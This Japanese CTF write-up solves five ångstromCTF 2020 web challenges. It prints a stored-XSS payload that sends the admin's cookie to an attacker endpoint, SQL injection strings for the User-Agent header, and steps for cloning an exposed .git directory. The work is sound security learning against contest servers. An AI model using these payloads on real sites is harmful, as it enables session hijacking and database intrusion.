2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFのWeb分野のwriteupです。CTF Timesはこちら。
他の分野のwriteup, 戦績はこちら。
Webの解けなかった問題の復習はこちら。
[Web] The Magic Word
Ask and you shall receive...that is as long as you use the magic word.
Hint
Change "give flag" to "please give flag" somehow.
topはこんな感じ。
ソースを見てみます。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>What's the magic word?</title> <link href="https://fonts.googleapis.com/css2?family=Inconsolata:wght@400;700&display=swap" rel="stylesheet" /> <style> body { margin: 0; } p { font-family: "Inconsolata", monospace; text-align: center; font-size: 64px; vertical-align: middle; user-select: none; margin: 0; } .flexmagic { display: flex; align-items: center; justify-content: center; height: 100%; position: absolute; margin: 0; width: 100%; flex-direction: column; } .hidden { display: none; } </style> </head> <body> <div> <p class="hidden">this ain't it chief</p> </div> <div> <p class="hidden">this also ain't it chief</p> </div> <div> <div class="flexmagic"> <p id="magic">give flag</p> </div> </div> <div> <p class="hidden">you passed it chief</p> </div> <script> var msg = document.getElementById("magic"); setInterval(function() { if (magic.innerText == "please give flag") { fetch("/flag?msg=" + encodeURIComponent(msg.innerText)) .then(res => res.text()) .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``); } }, 1000); </script> </body> </html>
途中
if (magic.innerText == "please give flag") {
の下りがあるので、ヒントの通り、magic.innerText
を please give flag
に書き換えられれば良さそう。
Chromeの開発者ツールの Elements で、下記を書き換える。
<p id="magic">give flag</p>
↓
<p id="magic">please give flag</p>
で、Sourcesに移動してステップ実行すると、flagが表示されました!
[Web] Xmas Still Stands
You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?
こんなサイトへのリンクが有りました。
怪しいタブ Admin に飛んでみます。
ほうほう。cookieが関係ありそう。
postのページに飛んで、XSSやSSTIを試してみる。XSSが刺さった。
reportのページでは、自分の作成したpostのIDを送ると、管理者が見に来てくれるらしい!
これは postで作ったページにcookieを吐かせる攻撃を仕込んで、reportにそのIDを報告すれば、Adminが見に来てくれるはず!
そこで拾ったcookieをセットしたらAdminページがちゃんと見れるはず!
これどこかでやったなーっと探してみたらこれっぽい。SECCON BeginnersCTF 2018 Gimme your commentだ!
imageタグにcookieを埋め込んでもらいたいのでこうしてみた。
<img src='{用意したエンドポイント}?'+document.cookie;>
これをPOSTし、自分で見に行ってみます。うーん、エンドポイントにアクセスは来るけどcookieは付いてこないなぁ。
ちょっとぐぐってみると、st98さんの去年のwriteupを発見。
angstromCTF 2019 の write-up - st98 の日記帳
ここでは、ドキュメントや画像を読み込めずにエラーになったときのイベントonerror
を使って下記のように飛ばしていました。
<img src=x onerror="(new Image).src='{用意したエンドポイント}?'+document.cookie">
これを試してみると刺さった!adminのJonahさんがcookieを携えてアクセスしてきてくれました。
{ "super_secret_admin_cookie": "hello_yes_i_am_admin; admin_name=Jonah" }
この2つのcookieをセットしてAdminページにアクセスすると、flagが表示されました!
[Web] Consolation
I've been feeling down lately... Cheer me up!
サイトに飛んでみます。
お金を払ったらいいのかしら。ソースを見てみます。
<!DOCTYPE html> <html> <head> <title>consolation</title> </head> <body style="padding: 20px"> $<span id="monet">0</span> <br /><br /><br /> <button onclick="nofret()" style="height:150px; width:150px;">pay me some money</button> <script src="iftenmillionfireflies.js"></script> </body> </html>
pay me some money
と書いてあるボタンをクリックすると、nofret()
関数が実行されるみたい。ブラウザ上ではワンクリックごとに$25支払われるようです。
このiftenmillionfireflies.js
が気になります。ただ難読化されていて読める気がしない…。このファイル名、if ten million fireflies
なので、もし1000万のホタル
と直訳できます。どういう意味だ?
ここで、タイトルConsolidation
より、consoleに何かあるかもと開いてみます。しかし、ボタンをクリックし続けてもconsoleには何も表示されません。
ここで、クリックした時に呼ばれているnofret()
関数を確認してみます。
function nofret() { document[_0x4229('0x95', 'kY1#')](_0x4229('0x9', 'kY1#'))[_0x4229('0x32', 'yblQ')] = parseInt(document[_0x4229('0x5e', 'xtR2')](_0x4229('0x2d', 'uCq1'))['innerHTML']) + 0x19; console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*')); console['clear'](); }
読みにくいけど、何かをconsoleに出力し、そのあとclear
しているようです。もしかして、flagを出力してその後clearしてるのかも…?と思い、consoleの設定からPreserve log
をオンにしてクリックすると、flagが出ました(*ˊᗜˋ*)/
[Web] Git Good
Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.
Hint
Static file serving is a very dangerous thing when in the wrong directory.
指定されたリンク先は、Hello, world!
の表示があるのみの簡素なサイト。
問題文とヒントから、gitやpath traversal系かな?と推測。
/.git/config
にアクセスすると、configファイルをDL出来ました🙌
[core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true
色々DL出来たけど、flagは見当たらないなー。./git/index
ファイルからたどった/thisistheflag.txt
ファイルは不発。
どこいったのー!?
とにかく、localにgit repositoryを再構築するべく、.git
の内容をDLしまくります。最終的にここまで集めた。
$ tree -a -L 4 . ├── .git │ ├── COMMIT_EDITMSG │ ├── HEAD │ ├── config │ ├── description │ ├── hooks │ │ └── (略) │ ├── index │ ├── info │ │ └── exclude │ ├── logs │ │ ├── HEAD │ │ └── refs │ │ └── heads │ ├── objects │ │ ├── 0f │ │ │ └── 52598006f9cdb21db2f4c8d44d70535630289b │ │ ├── 24 │ │ │ └── 7c9d491c0d2d6da5e93afcd0681b3edd7ccd70 │ │ ├── 49 │ │ │ └── b319c37dc674bca682cab0f2506473dda6bd9a │ │ ├── 63 │ │ │ └── 8887a54973265c428cd51ce6dfd48f196d91c4 │ │ ├── 6b │ │ │ └── 3c94c0b90a897f246f0f32dec3f5fd3e40abb5 │ │ ├── 78 │ │ │ └── 9fa5caf452f5f6f25bfa9b1c0ab1d593dce1b3 │ │ ├── 8f │ │ │ └── 08af35205d0ba80e94b4f4306311039d62e138 │ │ ├── 94 │ │ │ └── 02d143d3d7998247c95597b63598ce941e7bcb │ │ ├── b6 │ │ │ └── 30430d9d393a6b143af2839fd24ac2118dba79 │ │ ├── c2 │ │ │ └── 658d7d1b31848c3b71960543cb0368e56cd4c7 │ │ ├── e9 │ │ │ └── 75d678f209da09fff763cd297a6ed8dd77bb35 │ │ ├── info │ │ └── pack │ └── refs │ ├── heads │ │ └── master │ └── tags ├── .gitignore ├── index.html ├── index.js ├── package-lock.json ├── package.json └── thisistheflag.txt
既存のgitリポジトリの構成を見ながら必要なものを落としていき、.git/objects
配下は、{コミットハッシュの上位2桁}
/
{下桁}
のパス構成となっているので、わかっているハッシュ番号を狙い撃ちでDL。
git checkout
やgit log --stat
などをしながらエラーが出たらそのエラーのコミット番号のログをpathを指定して回収していく、というのを繰り返してここまで来ました。
なんかもっといい方法がある気がするけど。
なんとか復元できたっぽい。
$ git log -a commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD, master) Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:44 2020 +0000 Initial commit commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:24 2020 +0000 haha I lied this is the actual initial commit
やっと真のinitial commitをcheckout, thisistheflag.txt を見るとflagがありました…!
$ git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 Previous HEAD position was e975d67 Initial commit HEAD is now at 6b3c94c haha I lied this is the actual initial commit $ cat thisistheflag.txt actf{b3_car3ful_wh4t_y0u_s3rve_wi7h} btw this isn't the actual git server
ふー、長かった!
ここから復習
こちらのwriteupを読むと、わざわざ1ファイルずつ落とすのではなく、git clone で良かったようだ…。
ångstromCTF 2020 write up · kuzushikiのぺーじ
$ git clone https://gitgood.2020.chall.actf.co/.git Cloning into 'gitgood.2020.chall.actf.co'...
$ cd gitgood.2020.chall.actf.co/ $ ls -a . .gitignore package-lock.json .. index.html package.json .git index.js thisistheflag.txt
$ git log commit e975d678f209da09fff763cd297a6ed8dd77bb35 (HEAD -> master, origin/master, origin/HEAD) Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:44 2020 +0000 Initial commit commit 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 Author: aplet123 <noneof@your.business> Date: Sat Mar 7 16:27:24 2020 +0000 haha I lied this is the actual initial commit
$ git checkout 6b3c94c0b90a897f246f0f32dec3f5fd3e40abb5 $ ls index.html package-lock.json thisistheflag.txt index.js package.json $ cat thisistheflag.txt actf{b3_car3ful_wh4t_y0u_s3rve_wi7h} btw this isn't the actual git server
わー、一瞬でflagが手に入りました…orz
[Web] Secret Agents
Can you enter the secret agent portal? I've heard someone has a flag :eyes:
Our insider leaked the source, but was "terminated" shortly thereafter...
Hint
How does the site know who you are?
下記のapp.py
が配布されます。
from flask import Flask, render_template, request #from flask_limiter import Limiter #from flask_limiter.util import get_remote_address from .secret import host, user, passwd, dbname import mysql.connector dbconfig = { "host":host, "user":user, "passwd":passwd, "database":dbname } app = Flask(__name__) """ limiter = Limiter( app, key_func=get_remote_address, default_limits=["1 per second"], )""" #@limiter.exempt @app.route("/") def index(): return render_template("index.html") @app.route("/login") def login(): u = request.headers.get("User-Agent") conn = mysql.connector.connect( **dbconfig ) cursor = conn.cursor() #cursor.execute("SET GLOBAL connect_timeout=1") #cursor.execute("SET GLOVAL wait_timeout=1") #cursor.execute("SET GLOBAL interactive_timeout=1") for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True): if r.with_rows: res = r.fetchall() break cursor.close() conn.close() if len(res) == 0: return render_template("login.html", msg="stop! you're not allowed in here >:)") if len(res) > 1: return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)") return render_template("login.html", msg="Welcome, %s"%(res[0][0])) if __name__ == '__main__': app.run('0.0.0.0')
指定のサイトに飛んでみると、こんな画面。
何もせずにlemme get in
のボタンを押すと、stop! you're not allowed in here >:)
と怒られます。
app.py
から、使われているのはflask、ログインの可否にはUserAgentが使われていることがわかります。また、指定したUserAgentがDBにあるかの判定のクエリ部分に、SQL injectionが刺さりそうです。
Chrome開発者ツールの、3点アイコン > More tools > Network conditions から UserAgentを操作できるので、そこを色々いじってみます。
' or 1=1;
を入れると、hey! close, but no bananananananananana!!!! (there are many secret agents of course) になった。一つだけに絞れば良さそう。
' or 1=1 limit 1;
を入れると、入れたが情報はない。Welcome, GRUらしい。情報を持っている人に当たるまで、除外していきます💪
' or 1=1 and name!='GRU' limit 1; # -> Welcome, vector but elon musk's brother
' or 1=1 and name!='GRU' and name!="vector but elon musk's brother" limit 1; # -> Welcome, actf{nyoom_1_4m_sp33d}
でたーーーーー!!!
ここから復習
クエリが結構筋肉だったので、もっとスマートなクエリを求めて色々writeupを見てみました。
' or 'A'='A' limit X offset Y;--'
group_concat()
を使って一つにまとめて出力させる
1.はX
に1
を指定してY
にoffset(今回は2)を設定したら良さそう。
' or 1=1 limit 1 offset 2;
これで通りました👍
2.の方はst98さんのwriteup参照。他の問題でも広く使えそうな手順。